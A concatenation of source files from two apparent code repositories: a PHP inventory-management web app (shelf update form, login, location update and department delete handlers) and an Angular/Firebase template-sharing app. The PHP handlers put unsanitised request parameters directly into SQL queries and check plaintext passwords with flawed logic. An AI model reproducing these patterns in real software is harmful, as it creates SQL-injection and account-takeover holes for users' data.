<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
</div>
<nav class="navbar-mobile">
<div class="container-fluid">
<ul class="navbar-mobile__list list-unstyled">
<li>
<a href="index.php">
<i class="fas fa-chart-pie"></i>Home</a>
</li>
<li>
<a href="form_show_location.php">
<i class="fas fa-warehouse"></i>
<span class="bot-line"></span>Location Good</a>
</li>
<li>
<a href="form_show_location_fail.php">
<i class="fas fa-wrench"></i>
<span class="bot-line"></span>Location Fail</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-copy"></i>Manage</a>
<ul class="navbar-mobile-sub__list list-unstyled js-sub-list">
<li>
<a href="form_show_mat.php">
<i class="fas fa-barcode"></i>Material</a>
</li>
<li>
<a href="form_show_mattype.php">
<i class="fas fa-barcode"></i>Material Type</a>
</li>
<li>
<a href="form_show_emp.php">
<i class="fas fa-user"></i>Employee</a>
</li>
<li>
<a href="form_show_position.php">
<i class="fas fa-user"></i>Position</a>
</li>
<li>
<a href="form_show_department.php">
<i class="fas fa-user"></i>Department</a>
</li>
<li>
<a href="form_show_plant.php">
<i class="fas fa-warehouse"></i>Plant</a>
</li>
<li>
<a href="form_show_store.php">
<i class="fas fa-warehouse"></i>Store</a>
</li>
<li>
<a href="form_show_shelf.php">
<i class="fas fa-warehouse"></i>Shelf</a>
</li>
<li>
<a href="form_show_users.php">
<i class="fas fa-user"></i>Users</a>
</li>
</ul>
</li>
<?php
}
?>
</ul>
</div>
</nav>
</header>
<div class="sub-header-mobile-2 d-block d-lg-none">
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="js-acc-btn"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__body">
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
</div>
<?php
}
?>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END HEADER MOBILE -->
<!-- PAGE CONTENT-->
<div class="page-content--bgf7">
<!-- BREADCRUMB-->
<section class="au-breadcrumb2">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="au-breadcrumb-content">
<div class="au-breadcrumb-left">
<span class="au-breadcrumb-span">You are here:</span>
<ul class="list-unstyled list-inline au-breadcrumb__list">
<li class="list-inline-item active">
<a href="#">Update</a>
</li>
<li class="list-inline-item seprate">
<span>/</span>
</li>
<li class="list-inline-item">Shelf</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- END BREADCRUMB-->
<form action="action/update_shelf.php" method="post">
<!-- WELCOME-->
<section class="welcome p-t-10">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="overview-wrap">
<h1 class="title-4">Update Shelf</h1>
<button type="submit" name="submit" class="au-btn au-btn-icon au-btn--blue">
<i class="zmdi zmdi-save"></i>Submit</button>
</div>
<hr class="line-seprate">
</div>
</div>
</div>
</section>
<!-- END WELCOME-->
<!-- STATISTIC-->
<section class="section__content section__content--p30">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="col">
<div class="card">
<div class="card-body card-block">
<div class="form-group">
<label for="id_shelf">Shelf ID</label>
<input name="id_shelf" type="text" id="id_shelf" value="<?php echo $objResult["id_shelf"];?>" disabled='disabled' class="form-control" />
<input name="id_shelf" type="hidden" id="id_shelf" value="<?php echo $objResult["id_shelf"];?>" /></div>
<div class="form-group">
<label for="name">Shelf Name</label>
<input name="name" type="text" id="name" value="<?php echo $objResult["name"];?>" required="required" class="form-control" />
</div>
<div class="form-group">
<label for="id_store">Store ID</label>
<select class="form-control" id="id_store" name="id_store" required>
<option><?php echo $objResult["id_store"];?></option>
<?php
$sql="SELECT `store`.`id_store` AS `id_store` FROM `store`";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->id_store;?>">
<?php echo $row->id_store;?>
</option>
<?php
}
?>
</select>
</div>
<button class="au-btn--block btn btn-danger m-b-20" type="button" value="Go back!" onclick="history.back()">Back</button>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- END STATISTIC-->
</form>
<!-- COPYRIGHT-->
<section class="p-t-60 p-b-20">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="copyright">
<p>Copyright © 2020</a>.</p>
</div>
</div>
</div>
</div>
</section>
<!-- END COPYRIGHT-->
</div>
</div>
<!-- Jquery JS-->
<script src="vendor/jquery-3.2.1.min.js"></script>
<!-- Bootstrap JS-->
<script src="vendor/bootstrap-4.1/popper.min.js"></script>
<script src="vendor/bootstrap-4.1/bootstrap.min.js"></script>
<!-- Vendor JS -->
<script src="vendor/slick/slick.min.js">
</script>
<script src="vendor/wow/wow.min.js"></script>
<script src="vendor/animsition/animsition.min.js"></script>
<script src="vendor/bootstrap-progressbar/bootstrap-progressbar.min.js">
</script>
<script src="vendor/counter-up/jquery.waypoints.min.js"></script>
<script src="vendor/counter-up/jquery.counterup.min.js">
</script>
<script src="vendor/circle-progress/circle-progress.min.js"></script>
<script src="vendor/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="vendor/chartjs/Chart.bundle.min.js"></script>
<script src="vendor/select2/select2.min.js">
</script>
<!-- Main JS-->
<script src="js/main.js"></script>
</body>
</html>
<!-- end document-->
<file_sep><?php
session_start();
include('../connection/phpconnect.php');
$Username = $_POST['username'];
$Password = $_POST['<PASSWORD>'];
$query = "SELECT * FROM `users` WHERE `username` = '$Username' AND `password` = '$<PASSWORD>'";
$query2 = "SELECT * FROM `users` WHERE `username` = '$Username'";
$query3 = "SELECT `password` FROM `users` WHERE `username` = '$Username'";
$result = mysqli_query($db, $query);
$result2 = mysqli_query($db, $query2);
$result3 = mysqli_query($db, $query3);
if(mysqli_num_rows($result)==1){
$row = mysqli_fetch_array($result);
$_SESSION["username"] = $row["username"];
session_write_close();
echo "<script type='text/javascript'>";
echo "window.history.back()";
echo "</script>";
}
else if(mysqli_num_rows($result2)==0)
{
echo "<script type='text/javascript'>";
echo "alert('Do not have this Username');";
echo "window.history.back()";
echo "</script>";
}
else if($Password!==$result3)
{
echo "<script type='text/javascript'>";
echo "alert('Password Incorrect!');";
echo "window.history.back()";
echo "</script>";
}
?><file_sep><meta charset="UTF-8">
<?php
include('../connection/phpconnect.php');
$num_lo = $_REQUEST["num_lo"];
$id_mat = $_REQUEST["id_mat"];
$id_store = $_REQUEST["id_store"];
$id_shelf = $_REQUEST["id_shelf"];
$amount = $_REQUEST["amount"];
$sql = "UPDATE `location` SET
num_lo='$num_lo' ,
id_mat='$id_mat' ,
id_store='$id_store' ,
id_shelf='$id_shelf' ,
amount='$amount'
WHERE num_lo='$num_lo' ";
$result = mysqli_query($db, $sql) or die ("Error in query: $sql " . mysqli_error());
mysqli_close($db);
if($result){
echo "<script type='text/javascript'>";
echo "alert('Update Succesfuly');";
echo "window.location = '../search.php?search=&submit='; ";
echo "</script>";
}
else{
echo "<script type='text/javascript'>";
echo "alert('Error back to Update again');";
echo "window.location = '../search.php?search=&submit='; ";
echo "</script>";
}
?><file_sep><?php
include('../connection/phpconnect.php');
$strSQL = "DELETE FROM `department` ";
$strSQL .="WHERE `department` = '".$_GET["department"]."' ";
$objQuery = mysqli_query($db, $strSQL);
if($objQuery)
{
echo "<script type='text/javascript'>";
echo "alert('Record Deleted!');";
echo "window.location = '../form_show_department.php'; ";
echo "</script>";
}
else
{
echo "<script type='text/javascript'>";
echo "alert('Error Delete [".$strSQL."]');";
echo "window.location = '../form_show_department.php'; ";
echo "</script>";
}
mysqli_close($db);
?> | 3dd9931dc84966519d8439dd44898da4e903ddf3 | [
"PHP"
] | 23 | PHP | fbi18652/inventory | 622dbb64bd67aedbe8b265fb9c1b05ab8add9cd4 | 26556dd4c6c022020fe83dfec6ef53ce0fcb94dd | |
refs/heads/master | <file_sep>import {Component, OnInit} from '@angular/core';
import {ApiInterfaceService} from '../providers/api-interface.service';
import {AngularFireDatabase} from 'angularfire2/database';
import {AuthService} from '../providers/auth.service';
import {Router} from '@angular/router';
import {User} from 'firebase';
import {CreateTemplateComponent} from '../create-template/create-template.component';
export enum SortingOptions {
CREATIONDATE = 'Creation Date',
LASTDOWNLOADEDDATE = 'Last Downloaded Date',
NUMBEROFDOWNLOADS = 'Number of downloads',
RATING = 'Rating'
}
@Component({
selector: 'app-home',
templateUrl: './home.component.html',
styleUrls: ['./home.component.css']
})
export class HomeComponent implements OnInit {
user: User = null;
searchTerm: String = null;
hasSearched = false;
searchedTemplateList: any = null;
options: String[];
selected: any;
displayList: any[];
constructor(
private apiInterfaceService: ApiInterfaceService,
private authService: AuthService,
private db: AngularFireDatabase,
private router: Router
) {
}
ngOnInit(): void {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth === null) { // If the user is logged out
component.router.navigate(['login']);
} else {
component.user = component.authService.getAuth().currentUser;
}
});
this.options = Object.values(SortingOptions);
}
doSearch() {
const component = this;
if (component.searchTerm) {
component.hasSearched = true;
component.searchedTemplateList = component.db.list('/template-directory',
ref =>
ref.orderByChild(CreateTemplateComponent.encodeTag(component.searchTerm))
.equalTo(true)
).valueChanges().subscribe((data) => component.displayList = data);
}
}
openTemplate(templateId) {
const component = this;
component.router.navigate(['download-template/' + templateId]);
}
createTemplate() {
this.router.navigate(['create']);
}
tutorial() {
this.router.navigate(['tutorial']);
}
myTemplates() {
this.router.navigate(['my-templates']);
}
logout(): void {
this.authService.logout(null);
}
sort(option) {
const component = this;
switch (option) {
case SortingOptions.CREATIONDATE: {
if (component.displayList != null) {
component.displayList.sort((b, a) => a.templateCreateDate - b.templateCreateDate);
}
break;
}
case SortingOptions.LASTDOWNLOADEDDATE: {
if (component.displayList != null) {
component.displayList.sort((b, a) => a.templateLastDownloadDate - b.templateLastDownloadDate);
}
break;
}
case SortingOptions.NUMBEROFDOWNLOADS: {
if (component.displayList != null) {
component.displayList.sort((b, a) => a.templateNumDownload - b.templateNumDownload);
}
break;
}
case SortingOptions.RATING: {
if (component.displayList != null) {
component.displayList.sort((b, a) => a.averageRating - b.averageRating);
}
break;
}
}
}
}
<file_sep>import {Injectable} from '@angular/core';
import * as firebase from 'firebase';
import {AngularFireDatabase} from 'angularfire2/database';
import {AngularFireModule} from 'angularfire2';
export class Upload {
file: File;
name: string;
targetName: string;
userUID: string;
progress: number;
constructor(file: File, targetName: string, userUID: string) {
this.file = file;
this.targetName = targetName;
this.userUID = userUID;
}
}
@Injectable()
export class UploadService {
constructor() {
}
private basePath = '/uploads';
pushUpload(upload: Upload, callback) {
const storageRef = firebase.storage().ref();
const uploadTask = storageRef.child(`${this.basePath}/users/${upload.userUID}/${upload.targetName}`).put(upload.file);
uploadTask.on(firebase.storage.TaskEvent.STATE_CHANGED,
(snapshot) => {
// upload in progress
const snapshotRef = snapshot as firebase.storage.UploadTaskSnapshot;
const bytesTransferred = (snapshotRef).bytesTransferred;
const totalBytes = (snapshotRef).totalBytes;
upload.progress = (bytesTransferred / totalBytes) * 100;
},
(error) => {
// upload failed
console.log(error);
},
() => {
// upload success
upload.name = upload.file.name;
uploadTask.snapshot.ref.getDownloadURL().then((url) => {
callback(url)
});
}
);
}
}
<file_sep>import {AuthService} from '../providers/auth.service';
import {ActivatedRoute, Router} from '@angular/router';
import {User} from 'firebase';
import {Component, NgZone, OnInit} from '@angular/core';
import {AngularFireDatabase, AngularFireObject} from 'angularfire2/database';
import {Observable} from 'rxjs';
import {ApiInterfaceService} from '../providers/api-interface.service';
import * as firebase from 'firebase';
import {Reference} from 'firebase/database';
import {MatDialog} from '@angular/material/dialog';
import {InputValidateDialogComponent} from '../input-validate-dialog/input-validate-dialog.component';
@Component({
selector: 'download-template',
templateUrl: './download-template.component.html',
styleUrls: ['./download-template.component.css']
})
export class DownloadTemplateComponent implements OnInit {
user: User = null;
valueMap: Object = {};
templateDirectoryInfoRef: AngularFireObject<any>;
templateRenderInfoRef: AngularFireObject<any>;
templateRatingsInfoRef: AngularFireObject<any>;
templateRatingsInfoDatabaseRef: Reference;
templateDirectoryInfoDatabaseRef: Reference;
templateRenderInfo: Observable<any> = null;
templateDirectoryInfo: Observable<any> = null;
templateRatingsInfo: Observable<any> = null;
allRatingsList: Observable<any[]> = null;
ratingText: String = '';
ratingVal: number = null;
constructor(
private authService: AuthService,
private db: AngularFireDatabase,
private ngZone: NgZone,
private route: ActivatedRoute,
private router: Router,
private api: ApiInterfaceService,
private dialog: MatDialog
) {
}
ngOnInit() {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth === null) { // If the user is logged out
component.router.navigate(['login']);
} else {
component.user = component.authService.getAuth().currentUser;
component.route.params.subscribe(params => {
component.ngZone.run(() => { // Need to do this using NgZone since we're calling a third party API
component.templateDirectoryInfoRef = component.db.object('template-directory/' + params.id);
component.templateRenderInfoRef = component.db.object('template-render-info/' + params.id);
component.templateRatingsInfoRef = component.db.object('template-ratings/' + params.id);
component.templateRatingsInfoDatabaseRef = firebase.database().ref(
'template-ratings/' + params.id + '/' + component.user.uid);
component.templateDirectoryInfoDatabaseRef = firebase.database().ref('template-directory/' + params.id);
component.templateRatingsInfo = component.templateRatingsInfoRef.valueChanges();
component.templateDirectoryInfo = component.templateDirectoryInfoRef.valueChanges();
component.templateRenderInfo = component.templateRenderInfoRef.valueChanges();
component.templateDirectoryInfoDatabaseRef = firebase.database().ref('template-directory/' + params.id);
component.templateRenderInfo.subscribe((response) => {
if (response == null) {
component.router.navigate(['home']);
}
});
component.allRatingsList = component.db.list('template-ratings/' + params.id).valueChanges();
});
});
}
});
}
goHome() {
this.router.navigate(['']);
}
logout(): void {
this.authService.logout(null);
}
storeRating() {
if (this.validateRating()) {
const component = this;
component.templateRatingsInfoDatabaseRef.once('value').then(snapshot => {
const old_rating = snapshot.child('ratingValue').val(); // value of previous rating
const currentRatingVal = component.ratingVal;
component.templateRatingsInfoDatabaseRef.set({
'ratingValue': component.ratingVal,
'ratingText': component.ratingText,
'ratingUserDisplayName': component.user.displayName
});
component.templateDirectoryInfoDatabaseRef.child('/numberRatings').transaction(function (numberRatings) {
if (old_rating != null) {
return numberRatings;
} else {
return numberRatings + 1;
}
}).then(function (numberRatingsUpdated) {
component.templateDirectoryInfoDatabaseRef.child('/ratingSum').transaction(function (ratingSum) {
if (old_rating != null) {
if (ratingSum !== 0) {
return ratingSum - old_rating + currentRatingVal;
} else {
return currentRatingVal;
}
} else {
if (ratingSum !== 0) {
return ratingSum + currentRatingVal;
} else {
return currentRatingVal;
}
}
}).then(function (ratingSumForAverage) {
if (ratingSumForAverage !== null && numberRatingsUpdated.snapshot.val() !== null) {
component.templateDirectoryInfoDatabaseRef.child('averageRating').set(
ratingSumForAverage.snapshot.val() / numberRatingsUpdated.snapshot.val());
}
});
});
});
}
}
saveRatingVal(star_number) {
this.ratingVal = star_number;
}
validateRating() {
if (this.ratingVal) {
return true;
} else {
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please enter a star rating for this template.'}
});
return false;
}
}
downloadTemplate() {
const component = this;
component.validateEnteredVariables();
component.templateRenderInfoRef.snapshotChanges().subscribe(data => {
const payload_val = data.payload.val();
const fileEndings = payload_val.fileEndings;
for (let i = 0; i < payload_val.fileEndings.length; i++) {
fileEndings[i] = fileEndings[i].name;
}
const request = encodeURIComponent(JSON.stringify({
'variables': component.valueMap,
'fileEndings': fileEndings,
'url': encodeURI(payload_val.templateArchiveUrl)
}));
component.api.getZipFile(request, function (downloadedData) {
const linkElement = document.createElement('a');
const url = window.URL.createObjectURL(downloadedData);
linkElement.setAttribute('href', url);
linkElement.setAttribute('download', 'project');
const clickEvent = new MouseEvent('click', {
'view': window,
'bubbles': true,
'cancelable': false
});
linkElement.dispatchEvent(clickEvent);
component.templateDirectoryInfoDatabaseRef.child('/templateNumDownload').transaction(function (snapshot) {
return snapshot + 1;
});
component.templateDirectoryInfoDatabaseRef.child('/templateLastDownloadDate').set(Date.now());
});
});
}
createTemplate() {
this.router.navigate(['create']);
}
myTemplates() {
this.router.navigate(['my-templates']);
}
validateEnteredVariables() {
const component = this;
Object.keys(component.valueMap).forEach(function (variable) {
if (!component.valueMap[variable]) {
component.valueMap[variable] = '';
}
});
}
}
<file_sep>// Note: It's okay to commit this to version control, since Firebase handles security
// This should be swapped out for a different config during final deployment
export const config = {
apiKey: "<KEY>",
authDomain: "templyte.firebaseapp.com",
databaseURL: "https://templyte.firebaseio.com",
projectId: "templyte",
storageBucket: "templyte.appspot.com",
messagingSenderId: "993257440730"
};
<file_sep>import {Injectable} from '@angular/core';
import {AngularFireAuth} from 'angularfire2/auth';
import {auth} from 'firebase';
@Injectable({
providedIn: 'root'
})
export class AuthService {
constructor(public afAuth: AngularFireAuth) {
}
login(callback): void {
this.afAuth.auth.signInWithPopup(new auth.GithubAuthProvider()).then(function (res) {
if (callback) {
callback(res);
}
});
}
logout(callback): void {
this.afAuth.auth.signOut().then(function (res) {
if (callback) {
callback(res);
}
});
}
onAuthStateChanged(callback) {
this.afAuth.auth.onAuthStateChanged(function (auth) {
callback(auth);
});
}
getAuth() {
return this.afAuth.auth;
}
}
<file_sep>import {Component, Inject, OnInit} from '@angular/core';
import {MatDialogRef} from '@angular/material';
@Component({
selector: 'delete-confirm-dialog',
templateUrl: './delete-confirm-dialog.component.html',
styleUrls: ['./delete-confirm-dialog.component.css']
})
export class DeleteConfirmDialogComponent implements OnInit {
constructor(public dialogRef: MatDialogRef<DeleteConfirmDialogComponent>) {}
ngOnInit() {}
onYesClick() {
this.dialogRef.close(true);
}
onNoClick() {
this.dialogRef.close(false);
}
}
<file_sep>import {AuthService} from '../providers/auth.service';
import {Router} from '@angular/router';
import {User} from 'firebase';
import {Component, OnInit} from '@angular/core';
import {UploadService, Upload} from '../upload/upload.service';
import {AngularFireDatabase} from 'angularfire2/database';
import {MatDialog} from '@angular/material/dialog';
import {InputValidateDialogComponent} from '../input-validate-dialog/input-validate-dialog.component';
import {UploadSuccessDialogComponent} from '../upload-success-dialog/upload-success-dialog.component';
@Component({
selector: 'create-template',
templateUrl: './create-template.component.html',
styleUrls: ['./create-template.component.css']
})
export class CreateTemplateComponent implements OnInit {
user: User = null;
selectedFiles: FileList;
currentUpload: Upload;
templateName: String = null;
templateDescription: String = null;
variableArray: Array<any> = [];
tagArray: Array<any> = [];
fileEndingsArray: Array<any> = [];
isUploading: boolean;
constructor(
private authService: AuthService,
private db: AngularFireDatabase,
private router: Router,
private upSvc: UploadService,
private dialog: MatDialog,
) {
}
static encodeTag(tag) {
return '__TAG__' + tag.replace(/\s*/g, '').replace(/[^\w\s\d]/gi, '').toLowerCase();
}
ngOnInit() {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth === null) { // If the user is logged out
component.router.navigate(['login']);
} else {
component.user = component.authService.getAuth().currentUser;
}
});
}
addVariableValue() {
this.variableArray.push({});
}
deleteVariableValue(index) {
this.variableArray.splice(index, 1);
}
deleteTagValue(index) {
this.tagArray.splice(index, 1);
}
addTagValue() {
this.tagArray.push({});
}
deleteFileEndingsValue(index) {
this.fileEndingsArray.splice(index, 1);
}
addFileEndingsValue() {
this.fileEndingsArray.push({});
}
goHome() {
this.router.navigate(['']);
}
logout(): void {
this.authService.logout(null);
}
detectFiles(event) {
this.selectedFiles = event.target.files;
}
uploadTemplate() {
const component = this;
if (component.validateInput() && !component.isUploading) {
component.isUploading = true;
const renderInfoObject = component.db.list('template-render-info');
renderInfoObject.push({
'variables': component.variableArray,
'fileEndings': component.fileEndingsArray,
'authorUID': component.user.uid
}).then((renderInfoResult) => {
const targetKey = renderInfoResult.key;
const directoryObject = component.db.object('template-directory/' + targetKey);
const templateDirectoryData = {
'uid': targetKey,
'templateName': component.templateName,
'templateDescription': component.templateDescription,
'tags': component.tagArray,
'authorName': component.user.displayName,
'authorUID': component.user.uid,
'authorPhotoUrl': component.user.photoURL,
'averageRating': 0,
'ratingSum': 0,
'numberRatings': 0,
'templateNumDownload': 0,
'templateLastDownloadDate': null,
'templateCreateDate': Date.now()
};
for (let i = 0; i < component.tagArray.length; i++) {
templateDirectoryData[CreateTemplateComponent.encodeTag(component.tagArray[i].name)] = true;
}
templateDirectoryData[CreateTemplateComponent.encodeTag(component.templateName)] = true;
const nameSplit = component.templateName.split(/\s+/);
for (let i = 0; i < nameSplit.length; i++) {
templateDirectoryData[CreateTemplateComponent.encodeTag(nameSplit[i])] = true;
}
directoryObject.set(templateDirectoryData);
component.uploadFile(targetKey + '.zip', function (templateUrl) {
component.db.object('template-render-info/' + targetKey + '/templateArchiveUrl')
.set(templateUrl).then(() => {
const dialogRef = component.dialog.open(UploadSuccessDialogComponent);
dialogRef.afterClosed().subscribe(() => {
component.router.navigate(['my-templates']);
});
});
});
});
}
}
validateInput() {
let returnVal: Boolean = true;
if (!this.templateName) { // will evaluate to true if templateName is an empty string, for more info google 'typescript truthiness'
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please enter a name for your template.'}
});
}
for (let i = 0; i < this.variableArray.length - 1; i++) {
for (let j = i + 1; j < this.variableArray.length; j++) {
if (this.variableArray[i].name === this.variableArray[j].name) {
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please do not enter duplicate variables'}
});
}
}
}
const invalidCharactersArray: Array<String> = [' ', '!', '#', '$', '%', '&', '\\',
'(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[',
`/`, ']', '^', '_', '`', '{', '|', '}', '~'];
for (let i = 0; i < this.variableArray.length; i++) {
for (const char in invalidCharactersArray) {
if (this.variableArray[i].name.includes(invalidCharactersArray[char])) {
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {
message: `The variable name "` + this.variableArray[i].name +
`" contains an invalid character: ` + invalidCharactersArray[char] +
'\n Please do not include spaces or special characters in your variable names.'
}
});
break; // once you find one invalid character in a variable name, the user doesn't need to be told if there are more
}
}
}
for (let i = 0; i < this.tagArray.length - 1; i++) {
for (let j = i + 1; j < this.tagArray.length; j++) {
if (this.tagArray[i].name === this.tagArray[j].name) {
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please do not enter duplicate tags'}
});
}
}
}
for (let i = 0; i < this.fileEndingsArray.length - 1; i++) {
for (let j = i + 1; j < this.fileEndingsArray.length; j++) {
if (this.fileEndingsArray[i].name === this.fileEndingsArray[j].name) {
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please do not enter duplicate file endings'}
});
}
}
}
if (!/zip/i.test(this.selectedFiles[0].type)) {
returnVal = false;
this.dialog.open(InputValidateDialogComponent, {
data: {message: 'Please make sure that the file you are uploading is a .zip file'}
});
}
return returnVal;
}
uploadFile(targetName: string, callback) {
const component = this;
const file = component.selectedFiles.item(0);
component.currentUpload = new Upload(file, targetName, component.user.uid);
component.upSvc.pushUpload(component.currentUpload, callback);
}
tutorial() {
this.router.navigate(['tutorial']);
}
myTemplates() {
this.router.navigate(['my-templates']);
}
}
<file_sep>import {Component} from '@angular/core';
@Component({
selector: 'rating-success-dialog',
templateUrl: './rating-success-dialog.component.html',
styleUrls: ['./rating-success-dialog.component.css']
})
export class RatingSuccessDialogComponent {}
<file_sep>import {Component, Inject, OnInit} from '@angular/core';
import { MAT_DIALOG_DATA, } from '@angular/material';
@Component({
selector: 'input-validate-dialog',
templateUrl: './input-validate-dialog.component.html',
styleUrls: ['./input-validate-dialog.component.css']
})
export class InputValidateDialogComponent implements OnInit {
constructor( @Inject(MAT_DIALOG_DATA) public data) {}
ngOnInit() {
}
}
<file_sep>import {Component, NgZone, OnInit} from '@angular/core';
import {AuthService} from '../providers/auth.service';
import {Router} from '@angular/router';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {
constructor(
private authService: AuthService,
private ngZone: NgZone,
private router: Router) {
}
ngOnInit() {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth !== null) {
component.goHome();
}
});
}
login(): void {
const component = this;
component.authService.login(function () {
component.goHome();
});
}
tutorial() {
this.router.navigate(['tutorial']);
}
goHome() {
const component = this;
component.ngZone.run(() => { // Need to do this using NgZone since we're calling a third party API
component.router.navigate(['']);
});
}
}
<file_sep>import {Component} from '@angular/core';
@Component({
selector: 'upload-success-dialog',
templateUrl: './upload-success-dialog.component.html',
styleUrls: ['./upload-success-dialog.component.css']
})
export class UploadSuccessDialogComponent {}
<file_sep>import {Component, NgZone, OnInit} from '@angular/core';
import {User} from 'firebase';
import {AuthService} from '../providers/auth.service';
import {AngularFireDatabase} from 'angularfire2/database';
import {Router} from '@angular/router';
import {AngularFireStorage} from 'angularfire2/storage';
import * as firebase from 'firebase';
import {MatDialog} from '@angular/material';
import {DeleteConfirmDialogComponent} from '../delete-confirm-dialog/delete-confirm-dialog.component';
@Component({
selector: 'app-my-templates',
templateUrl: './my-templates.component.html',
styleUrls: ['./my-templates.component.css']
})
export class MyTemplatesComponent implements OnInit {
user: User = null;
templateList: any = null;
constructor(
private authService: AuthService,
private db: AngularFireDatabase,
private ngZone: NgZone,
private router: Router,
private storage: AngularFireStorage,
private dialog: MatDialog
) {
}
ngOnInit(): void {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth === null) { // If the user is logged out
component.router.navigate(['login']);
} else {
component.user = component.authService.getAuth().currentUser;
component.ngZone.run(() => {
component.createTemplateList();
});
}
});
}
private createTemplateList() {
const component = this;
component.templateList = component.db.list('/template-directory',
ref =>
ref.orderByChild('authorUID')
.equalTo(component.user.uid)
).valueChanges();
}
createTemplate() {
this.router.navigate(['create']);
}
deleteTemplate(templateUID) {
const component = this;
const dialogRef = component.dialog.open(DeleteConfirmDialogComponent);
dialogRef.afterClosed().subscribe( (result) => {
if (result) {
component.db.object('template-directory/' + templateUID).remove().then(() => {
const renderInfoRef = component.db.object('template-render-info/' + templateUID);
renderInfoRef.valueChanges().subscribe((renderInfoValueRes: any) => {
if (renderInfoValueRes) {
const archiveURL = renderInfoValueRes.templateArchiveUrl;
renderInfoRef.remove().then(() => {
firebase.storage().refFromURL(archiveURL).delete();
});
}
});
});
}
});
}
openTemplate(templateId) {
const component = this;
component.router.navigate(['download-template/' + templateId]);
}
logout(): void {
this.authService.logout(null);
}
tutorial() {
this.router.navigate(['tutorial']);
}
goHome(): void {
this.router.navigate(['']);
}
}
<file_sep>import {AuthService} from '../providers/auth.service';
import {Router} from '@angular/router';
import {User} from 'firebase';
import {ApiInterfaceService} from '../providers/api-interface.service';
import {Component, OnInit} from '@angular/core';
@Component({
selector: 'app-tutorial',
templateUrl: './tutorial.component.html',
styleUrls: ['./tutorial.component.css']
})
export class TutorialComponent implements OnInit {
user: User = null;
constructor(
private authService: AuthService,
private router: Router
) {
}
ngOnInit(): void {
}
createTemplate() {
this.router.navigate(['create']);
}
myTemplates() {
this.router.navigate(['my-templates']);
}
goHome() {
this.router.navigate(['']);
}
logout(): void {
const component = this;
component.authService.onAuthStateChanged(function (auth) {
if (auth === null) { // If the user is logged out
component.router.navigate(['login']);
} else {
component.user = component.authService.getAuth().currentUser;
this.authService.logout(null);
}
});
}
}
<file_sep>import {BrowserModule} from '@angular/platform-browser';
import {NgModule} from '@angular/core';
import {config} from './config/firebase-config';
import {AppComponent} from './app.component';
import {RouterModule, Routes} from '@angular/router';
import {LoginComponent} from './login/login.component';
import {HomeComponent} from './home/home.component';
import {TutorialComponent} from './tutorial/tutorial.component';
import {ApiInterfaceService} from './providers/api-interface.service';
import {HttpClientModule} from '@angular/common/http';
import {AngularFireModule} from 'angularfire2';
import {AngularFireDatabase} from 'angularfire2/database';
import {AngularFireAuth} from 'angularfire2/auth';
import {CreateTemplateComponent} from './create-template/create-template.component';
import {AngularFireStorage} from 'angularfire2/storage';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';
import {MatButtonModule, MatCardModule, MatDialogModule, MatInputModule} from '@angular/material';
import {MatToolbarModule} from '@angular/material/toolbar';
import {FormsModule} from '@angular/forms';
import {UploadService} from './upload/upload.service';
import {InputValidateDialogComponent} from './input-validate-dialog/input-validate-dialog.component';
import {UploadSuccessDialogComponent} from './upload-success-dialog/upload-success-dialog.component';
import {MyTemplatesComponent} from './my-templates/my-templates.component';
import {MatChipsModule} from '@angular/material/chips';
import {MatDividerModule} from '@angular/material/divider';
import {MatSelectModule} from '@angular/material/select';
import {DownloadTemplateComponent} from './download-template/download-template.component';
import {DeleteConfirmDialogComponent} from './delete-confirm-dialog/delete-confirm-dialog.component';
import {RatingSuccessDialogComponent} from './rating-success-dialog/rating-success-dialog.component';
const routes: Routes = [
{path: '', component: HomeComponent, pathMatch: 'full'},
{path: 'login', component: LoginComponent, pathMatch: 'full'},
{path: 'tutorial', component: TutorialComponent, pathMatch: 'full'},
{path: 'create', component: CreateTemplateComponent, pathMatch: 'full'},
{path: 'download-template/:id', component: DownloadTemplateComponent, pathMatch: 'full'},
{path: 'my-templates', component: MyTemplatesComponent, pathMatch: 'full'},
{path: '**', redirectTo: '', pathMatch: 'full'} // Redirect everything else to the home page
];
